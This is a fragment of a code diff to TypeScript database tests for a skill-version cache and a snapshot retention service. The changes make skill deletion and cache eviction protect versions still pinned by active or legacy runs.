expect(copy.metadata?.skillSourceId).toBeUndefined();
|
||||
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/one/reference.md'))?.content).toBe('Local reference');
|
||||
const [personal] = await db.select().from(folders).where(eq(folders.id, copy.folderId!));
|
||||
|
||||
@@ -242,12 +242,14 @@ describePostgres("immutable skill version cache", () => {
|
||||
return { run, execution };
|
||||
}
|
||||
|
||||
it.each([false, true])("uses the legacy native manifest without changing unresolved recovery (bundled skill: %s)", async bundled => {
|
||||
it.each([false, true])("protects unknown legacy versions without changing unresolved recovery (bundled skill: %s)", async bundled => {
|
||||
const f = await fixture();
|
||||
const old = await f.resolve(f.versions[0]!.id);
|
||||
await touchSkillVersionCache(f.companyId, f.skillId, f.versions[0]!.id, Date.now() - 7_200_000);
|
||||
const { run } = await legacyNativeRun(f.companyId, bundled ? [{ key: "paperclipai/paperclip/slack", versionId: null }] : []);
|
||||
expect((await sweepSkillVersionCache(db, { companyId: f.companyId })).evicted).toBe(1);
|
||||
const result = await sweepSkillVersionCache(db, { companyId: f.companyId });
|
||||
expect(result.evicted).toBe(bundled ? 0 : 1);
|
||||
if (bundled) expect(result.skipped.unknown_run_pins).toBe(1);
|
||||
expect((await db.select().from(nativeRunFinalizations).where(eq(nativeRunFinalizations.runId, run.id)))[0])
|
||||
.toMatchObject({ phase: "terminal_failure", recoveryState: "blocked" });
|
||||
expect((await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run.id)))[0]!.contextSnapshot).toBeNull();
|
||||
|
||||
@@ -712,7 +712,7 @@ describeEmbeddedPostgres("skill version snapshot retention", () => {
|
||||
expect(await exists(dir)).toBe(false);
|
||||
});
|
||||
|
||||
it("sweeps deleted skills after protecting existing runs", async () => {
|
||||
it("blocks deletion for detached active pins and sweeps after they settle", async () => {
|
||||
const companyId = await createCompany();
|
||||
const { skillId, versionIds } = await createSkill(companyId, 2);
|
||||
const first = await writeSnapshot(companyId, skillId, versionIds[0]!);
|
||||
@@ -720,14 +720,16 @@ describeEmbeddedPostgres("skill version snapshot retention", () => {
|
||||
const [agent] = await db.insert(agents).values({ companyId, name: "Detached agent" }).returning();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running",
|
||||
contextSnapshot: { skillVersions: { retained: versionIds[0] } } }).returning();
|
||||
await companySkillService(db).deleteSkill(companyId, skillId);
|
||||
await expect(companySkillService(db).deleteSkill(companyId, skillId)).rejects.toMatchObject({ status: 422 });
|
||||
expect(await exists(first)).toBe(true);
|
||||
await skillVersionRetentionService(db).pruneCompany(companyId);
|
||||
expect(await exists(first)).toBe(true);
|
||||
expect(await exists(second)).toBe(false);
|
||||
expect(await exists(second)).toBe(true);
|
||||
await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id));
|
||||
await companySkillService(db).deleteSkill(companyId, skillId);
|
||||
await skillVersionRetentionService(db).pruneCompany(companyId);
|
||||
expect(await exists(first)).toBe(false);
|
||||
expect(await exists(second)).toBe(false);
|
||||
});
|
||||
|
||||
it("never removes anything outside the company's versions root", async () => {
|
||||
|
||||
Reference in new issue
Block a user